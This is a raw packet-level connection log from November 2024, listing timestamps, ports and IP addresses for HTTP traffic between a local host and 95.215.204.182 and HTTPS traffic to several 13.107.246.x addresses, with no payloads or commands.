Nov 7, 2024 17:25:42.992454052 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.992465019 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.992486954 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.992497921 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.992546082 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.992911100 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.992925882 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.992937088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.992984056 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.993124962 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.993201017 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.993206978 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.993212938 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.993267059 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.993278027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.993288994 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.993290901 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.993304968 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.993328094 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.993788004 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.993897915 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.993957996 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.036232948 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.036381006 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.036604881 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.036667109 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.098671913 CET	443	49944	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.098979950 CET	49944	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.098997116 CET	443	49944	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.099380016 CET	443	49944	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.099724054 CET	49944	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.099803925 CET	443	49944	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.099916935 CET	49944	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.107625008 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.107651949 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.107664108 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.107791901 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.107791901 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.112508059 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.112523079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.112535000 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.112554073 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.112565994 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.112572908 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.112580061 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.112593889 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.112612963 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.112623930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.112633944 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.112634897 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.112648964 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.112669945 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.112690926 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.112890959 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.112904072 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.112915993 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.112941980 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.112972975 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.112974882 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.112987041 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.113010883 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.113024950 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.113039017 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.113058090 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.113058090 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.113071918 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.113079071 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.113110065 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.113138914 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.113806963 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.113818884 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.113862991 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.147337914 CET	443	49944	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.150654078 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.150671005 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.150733948 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.464932919 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.464947939 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.464957952 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.464976072 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.464988947 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.464999914 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.465012074 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.465023994 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.465023041 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.465040922 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.465049982 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.465054035 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.465065956 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.465068102 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.465080976 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.465092897 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.465095043 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.465136051 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.465301991 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.465313911 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.465332985 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.465338945 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.465348005 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.465361118 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.465367079 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.465373039 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.465384960 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.465396881 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.465403080 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.465409040 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.465420961 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.465424061 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.465434074 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.465437889 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.465447903 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.465459108 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.465470076 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.465472937 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.465493917 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.465511084 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.466098070 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.466150999 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.467596054 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.467607021 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.467641115 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.467649937 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.467650890 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.467662096 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.467675924 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.467680931 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.467688084 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.467710018 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.467715025 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.467722893 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.467735052 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.467744112 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.467753887 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.467766047 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.467772007 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.467777967 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.467789888 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.467801094 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.467804909 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.467813015 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.467824936 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.467833042 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.467837095 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.467858076 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.467881918 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.467884064 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.467894077 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.467920065 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.467948914 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.468163013 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.468174934 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.468185902 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.468197107 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.468209028 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.468216896 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.468221903 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.468235970 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.468247890 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.468249083 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.468261957 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.468274117 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.468275070 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.468287945 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.468297005 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.468301058 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.468332052 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.468355894 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.468384027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.468633890 CET	443	49944	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.468657017 CET	443	49944	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.468683004 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.468708992 CET	443	49944	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.468734026 CET	49944	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.468751907 CET	49944	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.471003056 CET	443	49949	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.471316099 CET	49949	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.471324921 CET	443	49949	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.471824884 CET	443	49948	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.471852064 CET	443	49949	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.471909046 CET	443	49946	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.472088099 CET	443	49947	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.472588062 CET	443	49951	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.473084927 CET	49949	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.473157883 CET	443	49949	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.473165035 CET	443	49945	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.473268986 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.473311901 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.473324060 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.473356962 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.473386049 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.473386049 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.473400116 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.473411083 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.473424911 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.473429918 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.473438978 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.473455906 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.473465919 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.473473072 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.473524094 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.473834991 CET	49948	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.473865032 CET	443	49948	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.474311113 CET	49946	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.474323988 CET	443	49946	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.474474907 CET	49947	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.474486113 CET	443	49947	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.474853039 CET	49945	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.474859953 CET	443	49945	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.475025892 CET	443	49948	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.475085974 CET	49948	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.475157976 CET	49949	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.475594044 CET	49948	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.475667953 CET	443	49946	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.475677013 CET	443	49948	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.475739002 CET	49946	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.475761890 CET	443	49947	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.475773096 CET	49948	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.475790977 CET	443	49948	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.475816965 CET	49947	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.476092100 CET	443	49945	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.476150036 CET	49945	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.476461887 CET	49946	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.476536989 CET	443	49946	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.477016926 CET	49947	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.477082014 CET	443	49947	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.477284908 CET	49945	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.477365971 CET	443	49945	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.477428913 CET	49946	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.477438927 CET	443	49946	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.477484941 CET	49947	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.477490902 CET	443	49947	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.477716923 CET	49945	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.477721930 CET	443	49945	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.483664036 CET	49944	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.483685017 CET	443	49944	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.484287977 CET	49955	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.484322071 CET	443	49955	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.484555960 CET	49955	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.485558033 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.485574007 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.485588074 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.485599995 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.485647917 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.485666037 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.485675097 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.485687017 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.485712051 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.485735893 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.485750914 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.485780954 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.485805988 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.485819101 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.485830069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.485858917 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.485886097 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.486116886 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.486156940 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.486253023 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.486263990 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.486303091 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.486376047 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.486392021 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.486403942 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.486438036 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.486447096 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.486624002 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.486638069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.486649990 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.486665010 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.486676931 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.486694098 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.486696959 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.486711025 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.486721992 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.486733913 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.486748934 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.486783028 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.486789942 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.486799955 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.487512112 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.487523079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.487570047 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.489839077 CET	49955	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.489859104 CET	443	49955	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.495151043 CET	49951	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.495167017 CET	443	49951	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.495811939 CET	49951	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.495815992 CET	443	49951	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.519339085 CET	443	49949	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.566294909 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.566371918 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.566384077 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.566390038 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.566395998 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.566435099 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.569441080 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.569454908 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.569468021 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.569516897 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.569542885 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.572494984 CET	49948	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.572515011 CET	49947	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.572515011 CET	49945	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.573126078 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.573195934 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.573206902 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.573251963 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.573292971 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.598361015 CET	443	49952	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.599046946 CET	49952	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.599070072 CET	443	49952	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.599741936 CET	49952	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.599746943 CET	443	49952	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.602153063 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602165937 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602175951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602186918 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602199078 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602211952 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602222919 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602229118 CET	443	49949	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.602237940 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.602248907 CET	443	49949	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.602252007 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602267027 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.602271080 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602283955 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602294922 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602305889 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602317095 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602323055 CET	443	49949	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.602325916 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.602329016 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602348089 CET	49949	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.602350950 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602356911 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.602360964 CET	443	49948	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.602375031 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602380037 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602381945 CET	49911	80	192.168.2.6	95.215.204.182
